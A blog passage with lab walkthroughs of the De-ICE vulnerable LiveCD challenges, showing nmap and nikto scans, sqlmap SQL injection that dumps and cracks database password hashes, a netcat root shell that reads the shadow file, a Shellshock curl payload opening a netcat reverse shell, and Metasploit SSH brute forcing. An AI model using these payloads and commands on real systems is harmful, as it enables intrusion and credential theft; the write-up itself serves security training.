Unfortunately, that is behind HTTP basic authentication and we don’t have any credentials to test yet. A little research shows that the by default it uses the root account and password for credentials. We can put that in the pile for a brute force attack later. Why am I showing you all of this stuff that doesn’t work? Because welcome to penetration testing. 99% of the things that you find, research, or try will be dead ends. That super sweet exploit the scanner found will either be a false positive or the local AV will eat the exploit and no amount of encryption and obfuscation will work. But, the research you do today about the finger service will pay off in three months when you run into it on another system.

Lets look at the Dokuwiki listening on port 80 and see if we can web app pen test this thing. I don’t want to copy all of the results here but I will paste the command and a few things that peaked my interest.

nikto -h 192.168.1.123
+ OSVDB-3268: /data/: Directory indexing found.
+ OSVDB-3092: /data/: This might be interesting...
+ OSVDB-3268: /lib/: Directory indexing found.
+ OSVDB-3092: /lib/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.

I couldn’t validate the /bin system shell but one of you smart web app people will probably get that. Manually looking through those pages with a browser might give you an idea of a few things that we will do later on. Since we have already used Nmap we can check that one off the list. I will use the sqlmap next since we might be able to inject the ?id= parameter. Using the wizard isn’t 1337 H4x0r but it is an easy test so there is not a reason to use Burp to capture a request.

root@kali:~# sqlmap --wizard

[22:43:57] [INFO] starting wizard interface
Please enter full target URL (-u): http://192.168.1.123/doku.php?id=netcat
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 3
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 3

No luck so if there is a SQL injection it is more obscure or needs some additional testing. Since the wiki talks about netcat lets see if that is a hint. There are two interesting ports based off numbering to look at 1337 and 31337. As a penetration tester DON’T DO THIS. Don’t try to be clever and show you are an elite hacker, also change the default port on your meterpreter shells. Be professional, 4444 and 1337 raise a lot of red flags on an IDS that 8080 and 8443 won’t. For readability I’ve bolded my command inputs.

root@kali:~# nc -vv 192.168.1.123 1337
192.168.1.123: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.123] 1337 (?) open
id
uid=0(root) gid=0(root)
cd ..
ls
bin
dev
etc
home
lib
mnt
opt
proc
root
sbin
sys
tmp
usr
var
cd ..pwd
/
cd etccat shadow
root:$1$3OF/pWTC$lvhdyl86pAEQcrvepWqpu.:13553:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
cat passwd
root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:

Lets validate that we have SSH access after reversing that hash. You already reversed that hash with John right?

msf auxiliary(ssh_login) > run

[*] SSH - Starting bruteforce
[+] SSH - Success: 'root:toor' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) Linux slax 2.6.16 #95 Wed May 17 10:16:21 GMT 2006 i686 pentium2 i386 GNU/Linux '
[*] Command shell session 1 opened (192.168.1.128:36105 -> 192.168.1.123:22) at 2017-04-13 23:34:37 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions -i 1
[*] Starting interaction with 1...

We are root on the system through a netcat shell. On a real penetration test this would be a bad finding, this is where you actually stop testing and call your contact to tell they someone else has compromised their systems. Could it be a really bad system administrator who decided that adding a wildly unsecured access method was a good idea? Yes. Could it be a malicious attack? Yes. In this case you would grab a screenshot for your report and send up a flare to your client. Who knows, maybe you will get extra billable hours to clean it off.

I dug around on the rest of the system looking for other flags but didn’t find any data to manipulate. Based on the age of the PHP and Apache install there are probably lots of vulnerabilities that can be exploited on this system.

De-ICE S1.120 Walkthrough

Posted by SNM on April 17, 2017
Posted in: Tutorials. Tagged: , , , . Leave a Comment

While digging though an old external drive I found the De-ICE LiveCD’s and walkthrough text files I had put together a few years ago. They are really simple; each one is a link to download the ISO, some non-spoiler information to get started, and spoilers on the off chance that you get stuck on some part of the challenge.

Personally, I learned a lot about post exploitation from some of the challenges in De-ICE. All of the spoilers are in the walkthrough as not to ruin the pen testing fun. Have fun and hopefully these are helpful.

SE-ICE S1.120

Download Link: http://hackingdojo.com/downloads/iso/De-ICE_S1.120.iso

Default IP 192.168.1.120

Flags:
1. Create list of open ports
2. This is primarily a web penetration test act accordingly
3. Obtain access to file system
4. Log in using brute force password
5. Perform post exploitation
6. FINAL FLAG: Rummage about in the file system

Spoilers and Walkthrough

Port scan the image to get started.

root@SNM-KScan-2:~# nmap -sV -T4 192.168.1.120

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-07 13:53 MST
Nmap scan report for 192.168.1.120
Host is up (0.00047s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      ProFTPD 1.3.2
22/tcp   open  ssh      OpenSSH 5.1 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.2.11 ((Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0)
443/tcp  open  ssl/http Apache httpd 2.2.11 ((Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0)
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 00:0C:29:A4:37:1E (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.37 seconds

This is primarily a vulnerable web app so I started working with html injection on the http://192.168.1.120/add_product.php page
<h1>htmlinjection</h1>
<h1>htmlinjection1</h1>
<h1>htmlinjection2</h1>
Normally if you can get html injection it is possible to get XSS if you can bypass whatever filter is in place. I only use the number to keep track of which injection actually worked. I used burp to capture the request. Then saved it and loaded it into SQL map. the -r is what I named the file and -p is the name of the parameter to attack.

sqlmap -r /root/Desktop/deice/120webrequest -p price

No joy so lets hit it a little harder

sqlmap -r /root/Desktop/deice/120webrequest -p price --level=5 --risk=3

Nope lets try the other parameters

sqlmap -r /root/Desktop/deice/120webrequest -p product --level=5 --risk=3
sqlmap -r /root/Desktop/deice/120webrequest -p description --level=5 --risk=3

I might have busted it but there is another parameter here you can test. Feed the id parameter to sqlmap using the –wizard option http://192.168.1.120/products.php?id=1

sqlmap -r /root/Desktop/deice/120webrequest2 --level=5 --risk=3

root@SNM-KScan-2:~# sqlmap -r /root/Desktop/deice/120webrequest2 --level=5 --risk=3

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:43:07

[14:43:07] [INFO] parsing HTTP request from '/root/Desktop/deice/120webrequest2'
[14:43:07] [INFO] testing connection to the target URL
[14:43:07] [INFO] testing if the target URL is stable. This can take a couple of seconds
[14:43:08] [INFO] target URL is stable
[14:43:08] [INFO] testing if GET parameter 'id' is dynamic
[14:43:08] [INFO] confirming that GET parameter 'id' is dynamic
[14:43:08] [INFO] GET parameter 'id' is dynamic
[14:43:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[14:43:09] [INFO] testing for SQL injection on GET parameter 'id'
[14:43:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:43:10] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable

BOOM goes the dynamite! and now we wait while sqlmap handles its business. If you don’t want to mess with Burp the same command is:

sqlmap --banner --dbms=mysql -u "http://192.168.1.120/products.php?id=1"

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 09:05:47

[09:05:47] [INFO] testing connection to the target URL
[09:05:47] [INFO] testing if the target URL is stable. This can take a couple of seconds
[09:05:48] [INFO] target URL is stable
[09:05:48] [INFO] testing if GET parameter 'id' is dynamic
[09:05:49] [INFO] confirming that GET parameter 'id' is dynamic
[09:05:49] [INFO] GET parameter 'id' is dynamic
[09:05:49] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[09:05:49] [INFO] testing for SQL injection on GET parameter 'id'
[09:05:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:05:49] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[09:05:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:05:49] [INFO] testing 'MySQL inline queries'
[09:05:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[09:05:49] [WARNING] time-based comparison requires larger statistical model, please wait..................                                          
[09:05:50] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[09:06:00] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable 
[09:06:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[09:06:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:06:00] [WARNING] reflective value(s) found and filtering out
[09:06:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 71 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1082=1082

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
[09:06:14] [INFO] the back-end DBMS is MySQL
[09:06:14] [INFO] fetching banner
[09:06:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:06:14] [INFO] retrieved: 5.1.33
web application technology: Apache 2.2.11, PHP 5.2.9
back-end DBMS: MySQL 5.0.11
banner:    '5.1.33'
[09:06:16] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.120'

[*] shutting down at 09:06:16

It is time to get down on the database.

sqlmap --dbms=mysql -u "http://192.168.1.120/products.php?id=1" --users --passwords -o --threads=8 --time-sec=1

****Partial output This takes awhile****
database management system users [50]:
[*] 'aadams'@'localhost'
[*] 'aallen'@'localhost'
[*] 'aard'@'localhost'
[*] 'aharp'@'localhost'
[*] 'aheflin'@'localhost'
[*] 'amaynard'@'localhost'
[*] 'aspears'@'localhost'
[*] 'aweiland'@'localhost'
[*] 'bbanter'@'localhost'
[*] 'bphillips'@'localhost'
[*] 'bwatkins'@'localhost'
[*] 'cchisholm'@'localhost'
[*] 'ccoffee'@'localhost'
[*] 'dcooper'@'localhost'
[*] 'dgilfillan'@'localhost'
[*] 'dgrant'@'localhost'
[*] 'djohnson'@'localhost'
[*] 'dstevens'@'localhost'
[*] 'dtraylor'@'localhost'
[*] 'dwestling'@'localhost'
[*] 'hlovell'@'localhost'
[*] 'jalcantar'@'localhost'
[*] 'jalvarez'@'localhost'
[*] 'jayala'@'localhost'
[*] 'jbresnahan'@'localhost'
[*] 'jdavenport'@'localhost'
[*] 'jduff'@'localhost'
[*] 'jfranklin'@'localhost'
[*] 'kclemons'@'localhost'
[*] 'krenfro'@'localhost'
[*] 'ktso'@'localhost'
[*] 'kwebber'@'localhost'
[*] 'lmartinez'@'localhost'
[*] 'lmorales'@'localhost'
[*] 'mbryan'@'localhost'
[*] 'mholland'@'localhost'
[*] 'mnader'@'localhost'
[*] 'mrodriguez'@'localhost'
[*] 'myajima'@'localhost'
[*] 'qpowers'@'localhost'
[*] 'rdominguez'@'localhost'
[*] 'rjacobson'@'localhost'
[*] 'rpatel'@'localhost'
[*] 'sgains'@'localhost'
[*] 'sjohnson'@'localhost'
[*] 'strammel'@'localhost'
[*] 'swarren'@'localhost'
[*] 'tdeleon'@'localhost'
[*] 'tgoodchap'@'localhost'
[*] 'webapp'@'localhost'

When it retrieves the password hashes. You will get prompted to let sqlmap crack them automatically.
Just note that there are so many user names and passwords that the next couple pages are a mass spoiler.

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[09:47:24] [INFO] writing hashes to a temporary file '/tmp/sqlmaphashes-XtKh9b.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[09:47:39] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 2
what's the custom dictionary's location?
> /usr/share/wordlists/rockyou.txt
[09:48:22] [INFO] using custom dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[*] aadams [1]:
    password hash: *F491287896471CB21030790BF46865C4A39DE651
    clear-text password: batman
[*] aallen [1]:
    password hash: *AE9F960F8FA0994C9878D2245DA640EAFF09BA0E
    clear-text password: superman
[*] aard [1]:
    password hash: *7FD9F123C9FC025372A5AAD19D107783CD19CCF7
    clear-text password: cheese
[*] aharp [1]:
    password hash: *44FFB04331ADAECB1FAB104F634E9B066BF8C6DC
    clear-text password: pokemon
[*] aheflin [1]:
    password hash: *90837F291B744BBE86DF95A37D2B2524185DBBF5
    clear-text password: whatever
[*] amaynard [1]:
    password hash: *4DC6D98E4CF6200B9F5529AFDE2E3B909F41E4D0
    clear-text password: kotaku
[*] aspears [1]:
    password hash: *CFBF459D9D6057BC2A85477A38327B96F06B1597
    clear-text password: iloveyou
[*] aweiland [1]:
    password hash: *B2B366CA5C4697F31D4C55D61F0B17E70E5664EC
    clear-text password: 666666
[*] bbanter [1]:
    password hash: *ED043A01F4583450BC8EB1E83C00C372CA49C4E4
    clear-text password: michelle
[*] bphillips [1]:
    password hash: *E56A114692FE0DE073F9A1DD68A00EEB9703F3F1
    clear-text password: 123123
[*] bwatkins [1]:
    password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
    clear-text password: 123456
[*] cchisholm [1]:
    password hash: *51AA306E66303073DBA15D2750E23C90C7A7F947
    clear-text password: baseball
[*] ccoffee [1]:
    password hash: *B12289EEF8752AD620294A64A37CD586223AB454
    clear-text password: 0
[*] dcooper [1]:
    password hash: *D6B63C1953E7F096DB307F8AC48C4AD703E57001
    clear-text password: sunshine
[*] dgilfillan [1]:
    password hash: *24B8599BAF46DD4B4D8DB50A3B10136457492622
    clear-text password: starwars
[*] dgrant [1]:
    password hash: *D37C49F9CBEFBF8B6F4B165AC703AA271E079004
    clear-text password: letmein
[*] djohnson [1]:
    password hash: *C5FEAC8A32D4FAFF1EF681447DA706634352AFF8
    clear-text password: killer
[*] dstevens [1]:
    password hash: *797420C584EBF42750EB523104268BA0FD87FBC8
    clear-text password: internet
[*] dtraylor [1]:
    password hash: *79BF466BCC601BD91A0897BB162421F9BA8C29CA
[*] dwestling [1]:
    password hash: *7B2F14D9BB629E334CD49A1028BD85750F7D3530
    clear-text password: shadow
[*] hlovell [1]:
    password hash: *3B477BC23EA39BFF66D64BFB68DB5EC5F5E31C91
    clear-text password: consumer
[*] jalcantar [1]:
    password hash: *46CFC7938B60837F46B610A2D10C248874555C14
    clear-text password: trustno1
[*] jalvarez [1]:
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    clear-text password: password
[*] jayala [1]:
    password hash: *6691484EA6B50DDDE1926A220DA01FA9E575C18A
    clear-text password: abc123
[*] jbresnahan [1]:
    password hash: *446525BB82B5E22BD9E525261D37C494F623C52B
    clear-text password: blahblah
[*] jdavenport [1]:
    password hash: *61305383748FBEAB119F9A8BC35EBBADB4889A9D
[*] jduff [1]:
    password hash: *2CE4701D02A76C12CD513109CA16967A68B4C23A
    clear-text password: princess
[*] jfranklin [1]:
    password hash: *2A032F7C5BA932872F0F045E0CF6B53CF702F2C5
    clear-text password: 654321
[*] kclemons [1]:
    password hash: *74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3
    clear-text password: passw0rd
[*] krenfro [1]:
    password hash: *8D6A637F37955DBFCE1229204DDBED1CE11E6F41
    clear-text password: master
[*] ktso [1]:
    password hash: *A4B6157319038724E3560894F7F932C8886EBFCF
    clear-text password: 1234
[*] kwebber [1]:
    password hash: *F8E113FD51D520075836A4B815568BA2B96F7C30
    clear-text password: dragon
[*] lmartinez [1]:
    password hash: *626AC8265C7D53693CB7478376CE1B4825DFF286
    clear-text password: pepper
[*] lmorales [1]:
    password hash: *FCAAF3F0BD94C027B2769A95903C355CE6294660
    clear-text password: football
[*] mbryan [1]:
    password hash: *B021918A5DCA54916CF724573179571DFC37AC88
    clear-text password: jennifer
[*] mholland [1]:
    password hash: *A7D31514D37A55CE91C6C5DF97299CBC1B1937EC
    clear-text password: jordan
[*] mnader [1]:
    password hash: *DF216F57F1F2066124E1AA5491D995C3CB57E4C2
    clear-text password: welcome
[*] mrodriguez [1]:
    password hash: *AA1420F182E88B9E5F874F6FBE7459291E8F4601
    clear-text password: qwerty
[*] myajima [1]:
    password hash: *3EEB06BE54EABF909DC8F6107110777F1DE43186
[*] qpowers [1]:
    password hash: *DB1B792EC6DAE393BAE7AD832D3AF207C12E9A00
    clear-text password: michael
[*] rdominguez [1]:
    password hash: *00A51F3F48415C7D4E8908980D443C29C69B60C9
    clear-text password: 12345
[*] rjacobson [1]:
    password hash: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
    clear-text password: 111111
[*] rpatel [1]:
    password hash: *6A7A490FB9DC8C33C2B025A91737077A7E9CC5E5
    clear-text password: 1234567
[*] sgains [1]:
    password hash: *81101DED975D54BD76A3C8EAD293597AE9BB143F
    clear-text password: computer
[*] sjohnson [1]:
    password hash: *84AAC12F54AB666ECFC2A83C676908C8BBC381B1
    clear-text password: 12345678
[*] strammel [1]:
    password hash: *A5892368AE83685440A1E27D012306B073BDF5B7
    clear-text password: monkey
[*] swarren [1]:
    password hash: *FBA7C2D27C9D05F3FD4C469A1BBAF557114E5594
    clear-text password: Password
[*] tdeleon [1]:
    password hash: *94F3DC3F398B76269CAAD51627279D4233A6C89A
    clear-text password: soccer
[*] tgoodchap [1]:
    password hash: *22AC3D548EB2C2A2F4E609ADA63251D0AF795AD9
    clear-text password: nintendo
[*] webapp [1]:
    password hash: *0DCC22A95EEBFF4984DF6A7B7F2D7D28DBB5F36F

We know that we have SQL injection but lets hit it with nikto also. This thing is a wreck.

root@SNM-KScan-2:~# nikto -h 192.168.1.120
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.120
+ Target Hostname:    192.168.1.120
+ Target Port:        80
+ Start Time:         2015-01-08 09:21:21 (GMT-7)
---------------------------------------------------------------------------
+ Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0
+ Retrieved x-powered-by header: PHP/5.2.9
+ The anti-clickjacking X-Frame-Options header is not present.
+ mod_apreq2-20051231/2.6.0 appears to be outdated (current is at least 2.6.1)
+ mod_perl/2.0.4 appears to be outdated (current is at least 2.0.7)
+ Apache/2.2.11 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.2.11 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.2.9 appears to be outdated (current is at least 5.4.26)
+ Perl/v5.10.0 appears to be outdated (current is at least v5.14.2)
+ OpenSSL/0.9.8k appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var
+ Server leaks inodes via ETags, header found with file /favicon.ico, inode: 8429, size: 30894, mtime: Fri May 11 06:40:36 2007
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ OSVDB-3268: /webalizer/: Directory indexing found.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3233: /cgi-bin/printenv: Apache 2.0 default script is executable and gives server environment variables. All default scripts should be removed. It may also allow XSS types of attacks. http://www.securityfocus.com/bid/4431.
+ OSVDB-3233: /cgi-bin/test-cgi: Apache 2.0 default script is executable and reveals system information. All default scripts should be removed.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 7354 requests: 0 error(s) and 25 item(s) reported on remote host
+ End Time:           2015-01-08 09:22:12 (GMT-7) (51 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

So I’m not giving up on Shellshock.

curl -k -H 'User-Agent: () { :;}; /bin/bash -c "nc -e /bin/bash 192.168.1.130 5005"'  http://192.168.1.120/cgi-bin/printenv.cgi

Nope no joy. Lets try some metasploit attacks. Port 631 was listening and we have usernames and password.

use exploit/multi/http/cups_bash_env_exec

Even less joy. Sigh…lets just try the reversed passwords for the accounts. Our old friends ccoffee, bbanter and aadams are all there.

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting                Required  Description
   ----              ---------------                --------  -----------
   BLANK_PASSWORDS   false                          no        Try blank passwords for all users
   BRUTEFORCE_SPEED  3                              yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                          no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                          no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                          no        Add all users in the current database to the list
   PASSWORD                                         no        A specific password to authenticate with
   PASS_FILE                                        no        File containing passwords, one per line
   RHOSTS            192.168.1.120                  yes       The target address range or CIDR identifier
   RPORT             22                             yes       The target port
   STOP_ON_SUCCESS   false                          yes       Stop guessing when a credential works for a host
   THREADS           1                              yes       The number of concurrent threads
   USERNAME                                         no        A specific username to authenticate as
   USERPASS_FILE     /root/Desktop/deice/users.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                          no        Try the username as the password for all users
   USER_FILE                                        no        File containing usernames, one per line
   VERBOSE           true                           yes       Whether to print output for all attempts


msf auxiliary(ssh_login) > run

[*] 192.168.1.120:22 SSH - Starting bruteforce
[+] 192.168.1.120:22 SSH - Success: 'aadams:batman' 'uid=1003(aadams) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 1 opened (192.168.1.130:60840 -> 192.168.1.120:22) at 2015-01-08 12:28:52 -0700
[+] 192.168.1.120:22 SSH - Success: 'aallen:superman' 'uid=1031(aallen) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 2 opened (192.168.1.130:33943 -> 192.168.1.120:22) at 2015-01-08 12:28:55 -0700
[+] 192.168.1.120:22 SSH - Success: 'aard:cheese' 'uid=1000(aard) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 3 opened (192.168.1.130:49918 -> 192.168.1.120:22) at 2015-01-08 12:28:59 -0700
[+] 192.168.1.120:22 SSH - Success: 'aharp:pokemon' 'uid=1039(aharp) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 4 opened (192.168.1.130:38831 -> 192.168.1.120:22) at 2015-01-08 12:29:02 -0700
[+] 192.168.1.120:22 SSH - Success: 'aheflin:whatever' 'uid=1017(aheflin) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 5 opened (192.168.1.130:43816 -> 192.168.1.120:22) at 2015-01-08 12:29:05 -0700
[+] 192.168.1.120:22 SSH - Success: 'amaynard:kotaku' 'uid=1018(amaynard) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 6 opened (192.168.1.130:52789 -> 192.168.1.120:22) at 2015-01-08 12:29:08 -0700
[+] 192.168.1.120:22 SSH - Success: 'aspears:iloveyou' 'uid=1035(aspears) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 7 opened (192.168.1.130:47274 -> 192.168.1.120:22) at 2015-01-08 12:29:11 -0700
[+] 192.168.1.120:22 SSH - Success: 'aweiland:666666' 'uid=1032(aweiland) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 8 opened (192.168.1.130:55692 -> 192.168.1.120:22) at 2015-01-08 12:29:15 -0700
[+] 192.168.1.120:22 SSH - Success: 'bbanter:michelle' 'uid=1012(bbanter) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 9 opened (192.168.1.130:47768 -> 192.168.1.120:22) at 2015-01-08 12:29:19 -0700
[+] 192.168.1.120:22 SSH - Success: 'bphillips:123123' 'uid=1024(bphillips) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 10 opened (192.168.1.130:53612 -> 192.168.1.120:22) at 2015-01-08 12:29:22 -0700
[+] 192.168.1.120:22 SSH - Success: 'bwatkins:123456' 'uid=1037(bwatkins) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 11 opened (192.168.1.130:47820 -> 192.168.1.120:22) at 2015-01-08 12:29:26 -0700
